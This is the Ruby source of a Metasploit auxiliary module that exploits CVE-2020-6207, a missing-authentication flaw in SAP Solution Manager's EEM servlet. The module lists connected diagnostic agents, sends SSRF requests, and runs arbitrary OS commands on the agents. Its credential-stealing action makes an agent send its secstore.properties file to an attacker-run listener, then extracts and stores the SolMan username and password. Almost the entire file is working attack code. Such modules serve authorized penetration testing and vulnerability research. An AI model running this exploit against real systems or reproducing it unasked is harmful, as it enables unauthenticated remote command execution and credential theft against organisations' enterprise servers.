## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty def initialize(info = {}) super( update_info( info, 'Name' => 'SAP Solution Manager remote unauthorized OS commands execution', 'License' => MSF_LICENSE, 'Author' => [ 'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability 'Pablo Artuso', # @lmkalg The researcher who originally found this vulnerability 'Dmitry Chastuhin', # @chipik The researcher who made first PoC 'Vladimir Ivanov' # @_generic_human_ This Metasploit module ], 'Description' => %q{ This module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF), and execute OS commands on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8. Successful exploitation of the vulnerability enables unauthenticated remote attackers to achieve SSRF and execute OS commands from the agent connected to SolMan as a user from which the SMDAgent service starts, usually the daaadm. }, 'References' => [ ['CVE', '2020-6207'], ['URL', 'https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf'], ['URL', 'https://github.com/chipik/SAP_EEM_CVE-2020-6207'] ], 'Actions' => [ ['LIST', { 'Description' => 'List connected agents' }], ['SSRF', { 'Description' => 'Send SSRF from connected agent' }], ['EXEC', { 'Description' => 'Exec OS command on connected agent' }], ['SECSTORE', { 'Description' => 'Get file with SolMan credentials from connected agent' }] ], 'DefaultAction' => 'LIST', 'DisclosureDate' => '2020-10-03', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options( [ Opt::RPORT(50000), OptString.new('TARGETURI', [true, 'Path to the SAP Solution Manager EemAdmin page from the web root', '/EemAdminService/EemAdmin']), OptString.new('SSRF_METHOD', [true, 'HTTP method for SSRF', 'GET'], conditions: %w[ACTION == SSRF]), OptString.new('SSRF_URI', [true, 'URI for SSRF', 'http://127.0.0.1:80/'], conditions: %w[ACTION == SSRF]), OptString.new('COMMAND', [true, 'Command for execute in agent', 'id'], conditions: %w[ACTION == EXEC]), OptAddress.new('SRVHOST', [ true, 'The local IP address to listen HTTP requests from agents', '192.168.1.1' ], conditions: %w[ACTION == SECSTORE]), OptPort.new('SRVPORT', [ true, 'The local port to listen HTTP requests from agents', 8000 ], conditions: %w[ACTION == SECSTORE]), OptString.new('AGENT', [true, 'Agent server name for exec command or SSRF', 'agent_server_name'], conditions: ['ACTION', 'in', %w[SSRF EXEC SECSTORE]]), ] ) end def setup_xml_and_variables @host = datastore['RHOSTS'] @port = datastore['RPORT'] @srv_host = datastore['SRVHOST'] @srv_port = datastore['SRVPORT'] @path = datastore['TARGETURI'] @agent_name = datastore['AGENT'] @script_name = Rex::Text.rand_text_alphanumeric(12) if datastore['SSL'] @schema = 'https://' else @schema = 'http://' end @solman_uri = "#{@schema}#{@host}:#{@port}#{@path}" @ssrf_method = datastore['SSRF_METHOD'] @ssrf_uri = datastore['SSRF_URI'] @ssrf_payload = make_ssrf_payload(@ssrf_method, @ssrf_uri) @rce_command = datastore['COMMAND'] @username = nil @password = nil end # Report Service and Vulnerability def report_service_and_vuln report_service( host: @host, port: @port, name: 'soap', proto: 'tcp', info: 'SAP Solution Manager' ) report_vuln( host: @host, port: @port, name: name, refs: references ) end # Handle incoming HTTP requests from connected agents def on_request_uri(cli, request) response = create_response(200, 'OK') response.body = 'Received' cli.send_response(response) agent_host = cli.peerhost request_uri = request.raw_uri secstore_content = request.body secstore_filename = request.headers['X-File-Name'] if secstore_content.nil? || secstore_filename.nil? || agent_host.nil? || request_uri.nil? || request_uri != "/#{@script_name}" fail_with(Failure::PayloadFailed, "Failed to retrieve secstore.properties file from agent #{@agent_name}.") end print_status("Received HTTP request from agent #{@agent_name} - #{agent_host}") # Loot secstore.properties file loot = store_loot('smdagent.secstore.properties', 'text/plain', agent_host, secstore_content, secstore_filename, 'SMD Agent secstore.properties file') print_good("Successfully retrieved file #{secstore_filename} from agent: #{@agent_name} saved in: #{loot}") vprint_good("File content:\n#{secstore_content}") # Analyze secstore.properties file properties = parse_properties(secstore_content) properties.each do |property| case property[:name] when 'smd/agent/User' @username = property[:value] when 'smd/agent/Password' @password = property[:value] end end # Store decoded credentials and report vulnerability if @username.nil? || @password.nil? fail_with(Failure::NotVulnerable, "The agent: #{@agent_name} sent a secstore.properties file, but this file is likely encrypted or does not contain credentials. The agent: #{@agent_name} is likely patched.") else # Store decoded credentials print_good("Successfully encoded credentials for SolMan server: #{@host}:#{@port} from agent: #{@agent_name} - #{agent_host}") print_good("SMD username: #{@username}") print_good("SMD password: #{@password}") store_valid_credential( user: @username, private: @password, private_type: :password, service_data: { origin_type: :service, address: @host, port: @port, service_name: 'http', protocol: 'tcp' } ) # Report vulnerability new_references_array = [ %w[CVE 2019-0307], %w[URL https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf] ] new_references = Rex::Transformer.transform(new_references_array, Array, [SiteReference, Reference], 'Ref') report_vuln( host: agent_host, name: 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server', refs: new_references ) end end def run setup_xml_and_variables case action.name when 'LIST' action_list when 'SSRF' action_ssrf when 'EXEC' action_exec when 'SECSTORE' action_secstore else print_error("The action #{action.name} is not a supported action.") end end def action_list print_status("Getting a list of agents connected to the Solution Manager: #{@host}") agents = make_agents_array report_service_and_vuln if agents.empty? print_good("Solution Manager server: #{@host}:#{@port} is vulnerable but no agents are connected!") else print_good("Successfully retrieved agent list:\n#{pretty_agents_table(agents)}") end end def action_ssrf check_agent(@agent_name) print_status("Enable EEM on agent: #{@agent_name}") enable_eem(@agent_name) print_status("Start script: #{@script_name} with SSRF payload on agent: #{@agent_name}") send_soap_request(make_soap_body(@agent_name, @script_name, @ssrf_payload)) print_status("Stop script: #{@script_name} on agent: #{@agent_name}") stop_script_in_agent(@agent_name, @script_name) print_status("Delete script: #{@script_name} on agent: #{@agent_name}") delete_script_in_agent(@agent_name, @script_name) report_service_and_vuln print_good("Send SSRF: '#{@ssrf_method} #{@ssrf_uri} HTTP/1.1' from agent: #{@agent_name}") end def action_exec check_agent(@agent_name) print_status("Enable EEM on agent: #{@agent_name}") enable_eem(@agent_name) print_status("Start script: #{@script_name} with RCE payload on agent: #{@agent_name}") send_soap_request(make_soap_body(@agent_name, @script_name, make_rce_payload(@rce_command))) print_status("Stop script: #{@script_name} on agent: #{@agent_name}") stop_script_in_agent(@agent_name, @script_name) print_status("Delete script: #{@script_name} on agent: #{@agent_name}") delete_script_in_agent(@agent_name, @script_name) report_service_and_vuln print_good("Execution command: '#{@rce_command}' on agent: #{@agent_name}") end def action_secstore agent = check_agent(@agent_name) print_status("Enable EEM on agent: #{@agent_name}") enable_eem(@agent_name) start_service( { 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => "/#{@script_name}" } } ) @creds_payload = make_steal_credentials_payload(agent[:instanceName], @srv_host, @srv_port, "/#{@script_name}") print_status("Start script: #{@script_name} with payload for retrieving SolMan credentials file from agent: #{@agent_name}") send_soap_request(make_soap_body(@agent_name, @script_name, @creds_payload)) sleep(5) print_status("Stop script: #{@script_name} on agent: #{@agent_name}") stop_script_in_agent(@agent_name, @script_name) print_status("Delete script: #{@script_name} on agent: #{@agent_name}") delete_script_in_agent(@agent_name, @script_name) report_service_and_vuln if @username.nil? && @password.nil? print_error("Failed to retrieve or decode SolMan credentials file from agent: #{@agent_name}") end end end